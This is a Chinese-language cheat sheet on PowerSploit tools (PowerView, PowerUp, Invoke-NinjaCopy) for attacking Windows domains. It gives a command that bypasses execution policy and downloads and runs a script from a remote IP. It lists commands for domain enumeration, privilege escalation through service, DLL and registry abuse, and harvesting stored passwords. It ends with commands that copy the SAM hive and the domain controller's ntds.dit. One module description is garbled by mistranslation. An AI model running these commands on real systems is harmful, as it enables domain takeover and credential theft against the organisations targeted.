工具的使用|PowerSploit脚本的用法

powershell -exec bypass Import-Module .\powerview.ps1;Get-NetDomain

powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://xx.xx.xx.xx/powerview.ps1');import-module .\powerview.ps1;Get-NetDomain

Get-NetDomain               #查看域名称
Get-NetDomainController     #获取域控的信息
Get-NetForest               #查看域内详细的信息
Get-Netuser                 #获取域内所有用户的详细信息
Get-NetUser | select name   #获得域内所有用户名
Get-NetGroup        #获取域内所有组信息
Get-NetGroup | select name  #获取域内所有的组名
Get-NetGroup *admin* | select name   #获得域内组中带有admin的
Get-NetGroup "Domain Admins"         #查看组"Domain Admins"组的信息
Get-NetGroup -UserName test   #获得域内组中用户test的信息
 
Get-UserEvent        #获取指定用户日志信息
Get-NetComputer             #获取域内所有机器的详细信息
Get-NetComputer | select name   #获得域内主机的名字
Get-Netshare                #获取本机的网络共享
Get-NetProcess              #获取本机进程的详细信息
Get-NetOU                #获取域内OU信息
Get-NetFileServer      #根据SPN获取当前域使用的文件服务器
Get-NetSession         #获取在指定服务器存在的Session信息
Get-NetRDPSESSION           #获取本机的RDP连接session信息
Get-NetGPO           #获取域内所有组策略对象
Get-ADOBJECT                #获取活动目录的信息
Get-DomainPolicy       #获取域默认策略
 
Invoke-UserHunter           #查询指定用户登录过的机器
Invoke-EnumerateLocalAdmin  #枚举出本地的管理员信息
Invoke-ProcessHunter        #判断当前机器哪些进程有管理员权限
Invoke-UserEventHunter    #根据用户日志获取某域用户登陆过哪些域机器

Get-ServiceUnquoted             该模块返回包含空格但是没有引号的服务路径的服务
Get-ModifiableServiceFile       该模块返回当前用户可以修改服务的二进制文件或修改其配置文件的服务
Get-ModifiableService           该模块返回当前用户能修改的服务
Get-ServiceDetail               该模块用于返回某服务的信息，用法: Get-ServiceDetail -servicename  服务名

Invoke-ServiceAbuse          该模块通过修改服务来添加用户到指定组，并可以通过设置 -cmd 参数触发添加用户的自定义命令
Write-ServiceBinary          该模块通过写入一个修补的C#服务二进制文件，它可以添加本地管理程序或执行自定义命令，Write-ServiceBinary与Install-ServiceBinary不同之处自安于，前者生成可执行文件，后者直接安装服务  
Install-ServiceBinary        该模块通过Write-ServiceBinary写一个C#的服务用来添加用户，
Restore-ServiceBinary        该模块用于恢复服务的可执行文件到原始目录，使用：Restore-ServiceBinary -servicename 服务名

Find-ProcessDLLHijack       该模块查找当前正在运行的进程潜在的dll劫持机会。
Find-PathDLLHijack          该模块用于检查当前 %path% 的哪些目录是用户可以写入的
Write-HijackDll             该模块可写入可劫持的dll

Get-RegistryAlwaysInstallElevated     该模块用于检查AlwaysInstallElevated注册表项是否被设置，如果已被设置，则意味着SAM文件是以System权限运行的
Get-RegistryAutoLogon                 该模块用于检测Winlogin注册表的AutoAdminLogon项是否被设置，可用于查询默认的用户名和密码
Get-ModifiableRegistryAutoRun         该模块用于检查开机自启的应用程序路径和注册表键值，然后返回当前用户可修改的程序路径，被检查的注册表键值有以下：
    HKLM\Software\Microsoft\Windows\CurrentVersino\Run
    HKLM\Software\Microsoft\Windows\CurrentVersino\RunOnce
    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
    HKLM\Software\Microsoft\Windows\CurrentVersion\RunService
    HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceService

Get-ModifiableScheduledTaskFile       该模块用于返回当前用户能够修改的计划任务程序的名称和路径 
Get-Webconfig                         该模块用于返回当前服务器上web.config文件中的数据库连接字符串的明文
Get-ApplicationHost                   该模块利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码
Get-SiteListPassword                  该模块检索任何已找到的McAfee的SiteList.xml文件的明文密码
Get-CachedGPPPassword                 该模块检查缓存的组策略首选项文件中的密码
Get-UnattendedInstallFile             该模块用于检查以下路径，查找是否存在这些文件，因为这些文件可能含有部署凭据 
    C:\sysprep\sysprep.xml
    C:\sysprep\sysprep.inf
    C:\sysprep.inf
    C:\Windows\Panther\Unattended.xml
    C:\Windows\Panther\Unattend\Unattended.xml
    C:\Windows\Panther\Unattend.xml
    C:\Windows\Panther\Unattend\Unattend.xml
    C:\Windows\System32\Sysprep\unattend.xml
    C:\Windows\System32\Sysprep\Panther\unattend.xml

Get-ModifiablePath                 该模块标记输入字符串并返回当前用户可以修改的文件
Get-CurrentUserTokenGroupSid       该模块返回当前用户参与的所有小岛屿发展中国家，无论它们是否已禁用。
Add-ServiceDacl                    该模块将dacl字段添加到get-service返回的服务对象中
Set-ServiceBinPath                 该模块通过Win 32 api方法将服务的二进制路径设置为指定的值。
Test-ServiceDaclPermission         该模块用于检查所有可用的服务，并尝试对这些打开的服务进行修改。如果能修改，则返回该服务对象。使用：Test-ServiceDaclPermission -servicename 服务名
Write-UserAddMSI                   该模块写入一个MSI安装程序，提示要添加一个用户。
Invoke-AllChecks                   该模块会自动执行 PowerUp.ps1 下所有的模块来检查目标主机是否存在服务配置漏洞

powershell -exec bypass -c import-module .\PowerUp.ps1;Invoke-Allchecks

 -verbose

Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\system32\config\sam -Verbose -LocalDestination C:\Users\administrator\Desktop\sam

Copy-Item '\\dc.offensive.local\C$\Users\administrator\Desktop\ntds.dit'-Destination '\\Client1.offensive.local\C$\Users\alice\Desktop\tools\ntds.dit'   #将dc.offensive.local主机上c:\users\administrator\desktop\ntds.dit文件复制到 Client1.offensive.local 主机的C:\users\alice\Desktop\tools\ntds.dit文件